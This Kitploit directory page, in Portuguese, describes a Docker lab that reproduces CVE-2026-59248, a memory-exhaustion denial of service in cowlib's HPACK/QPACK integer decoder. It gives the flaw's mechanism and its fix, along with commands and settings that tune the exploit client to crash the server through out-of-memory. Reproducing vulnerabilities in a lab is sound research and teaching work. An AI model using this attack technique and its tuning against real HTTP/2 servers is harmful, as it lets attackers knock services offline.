Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
bug-free-broccoli — Laboratório Docker reproduzível para CVE-2026-59248: um DoS de esgotamento de memória no decodificador de inteiros HPACK/QPACK em cowlib, com cliente de exploit, servidor Cowboy e métricas Grafana. | Kitploit
Ferramentas/GitHubGitHub/darynongera/bug-free-broccoli
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoSegurança WebSegurança de RedeAprendizado e EducaçãoLabs e Prática
GitHub
Compartilhar
darynongera/bug-free-broccoli

bug-free-broccoli

Laboratório Docker reproduzível para CVE-2026-59248: um DoS de esgotamento de memória no decodificador de inteiros HPACK/QPACK em cowlib, com cliente de exploit, servidor Cowboy e métricas Grafana.

Ver Repositório
1há 23 diasAinda não revisado

DoS no decodificador de inteiros HPACK/QPACK do cowlib — laboratório reproduzível com observabilidade

A CVE

Uma vulnerabilidade de limitação de recursos no ninenines cowlib (≥ 2.0.0, < 2.19.0) permite que um par remoto HTTP/2 ou HTTP/3 não autenticado esgote a memória no servidor (ou cliente) vulnerável e cause uma negação de serviço.

O decodificador de inteiros com prefixo HPACK e QPACK cow_hpack_common:dec_big_int/3 (src/cow_hpack_common.hrl, invocado a partir de cow_hpack:decode/2 e cow_qpack:decode_field_section/3) lê octetos de continuação até encontrar um cujo bit mais significativo esteja limpo, avaliando Int + (Value bsl M) a cada passo com o deslocamento M crescendo em 7 por octeto. Não há nenhum limite no número de octetos de continuação, na largura de bits resultante, ou no valor — o decodificador consome qualquer comprimento codificado que o par forneça. Como os inteiros Erlang são imutáveis, cada Value bsl M intermediário e cada atualização do acumulador aloca um novo bignum cuja largura de dígitos cresce linearmente com os octetos processados até o momento; somado ao longo de toda a decodificação, a alocação transitória é O(n²) no comprimento codificado.

Uma única representação indexada HPACK máxima transportada em um par de frames HEADERS + CONTINUATION HTTP/2 — dentro do max_frame_size_received padrão do Cowboy — pode forçar centenas de megabytes de alocação transitória e agitação de garbage collection antes que o índice resultante da tabela de cabeçalhos seja rejeitado como inválido. Conexões repetidas ou concorrentes multiplicam a pressão e podem levar a VM Erlang à exaustão de memória.

O cowlib é o analisador HTTP usado pelo Cowboy, pelo plugin de gerenciamento do RabbitMQ e por outros servidores e clientes HTTP/2 e HTTP/3 em Erlang/Elixir, portanto qualquer endpoint exposto que aceite HPACK ou QPACK de um par não confiável é alcançável.

Correção: o cowlib 2.19.0 adiciona uma guarda when M < 32 a dec_big_int/3, rejeitando inteiros superdimensionados após alguns octetos.

Este laboratório reproduz o ataque (prefácio → SETTINGS → HEADERS → CONTINUATION com um inteiro HPACK 0xFF… superdimensionado) contra um servidor Cowboy real e captura o pico de memória do BEAM no Prometheus/Grafana — antes e depois de aplicar o patch.

Arquitetura

 exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
                                    │  /metrics  (same listener)
                                    ▼
                                prometheus (:9090) ──scrape 2s──▶ grafana (:3000)

Cowboy fixa uma versão exata do cowlib: cowboy 2.17.0 inclui o cowlib 2.18.0 vulnerável (cowboy 2.18.0 inclui o cowlib 2.19.0 corrigido). Este laboratório força o cowlib com override: true para que a demonstração vuln→fix seja uma alteração de uma linha em server/mix.exs.

ServiçoURL
Servidor Cowboyhttp://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c)
Servidor /metricshttp://localhost:8080/metrics
Prometheushttp://localhost:9090/targets
Grafanahttp://localhost:3000 (admin / admin)

O dashboard do Grafana "cowlib 2.18.0 HPACK memory DoS" é provisionado automaticamente (sem configuração manual de fonte de dados ou painéis).

Uso

# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana

# 2. Sanity checks
curl http://localhost:8080/               # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total

# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
#    (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client

# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server                # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
#   Panel 1 "ERLANG VM: Process memory"  = BEAM process heaps only (the decoder)
#   Panel 2 "ERLANG VM: Total memory"    = system + processes allocator memory
#   Panel 3 "CONTAINER: cgroup memory"   = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.

# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server

# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.

# 5. Verify the fix: in server/mix.exs change
#        {:cowlib, "2.18.0", override: true}
#    to
#        {:cowlib, "2.19.0", override: true}
#    then rebuild and restart just the server (the memory line stays flat):
#    docker compose build cowboy-server && docker compose up -d cowboy-server
#    docker compose run --rm exploit-client

# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v

Portas: a stack publica no host 8080 (Cowboy), 9090 (Prometheus), 3000 (Grafana). Certifique-se de que estejam livres antes de iniciar, e execute novamente o cliente de exploit com docker compose run --rm a cada vez — o serviço Compose é executado uma vez e encerra.

Ajuste do ataque (variáveis de ambiente no cliente)

VariávelPadrãoEfeito
PAYLOAD_CONTINUATIONS524288número de octetos 0xFF no inteiro HPACK (bomba de 512 KB; o max_fragmented_header_block_size do servidor permite até 1 MB).
NUM_CONCURRENT100conexões assíncronas simultâneas — cada uma permanece ativa decodificando por ATTACK_KEEPALIVE_SECS. Aumente para 200+ para causar OOM de forma confiável (ultrapassar 1g) no contêiner do servidor.
SOCKET_TIMEOUT15segundos para cada handshake de conexão
ATTACK_KEEPALIVE_SECS60por quanto tempo cada conexão permanece ativa após o envio
SERVER_HOST / SERVER_PORTcowboy-server / 8080alvo
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    668
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    496
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    394
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    339
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    258
  • 6

    antifox

    antifox-ai/antifox

    Plataforma de testes de penetração autónoma com multiagentes de IA que executa reconhecimento, descoberta de superfície de ataque, validação de exploração e entrega de relatórios com evidências.

    254

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →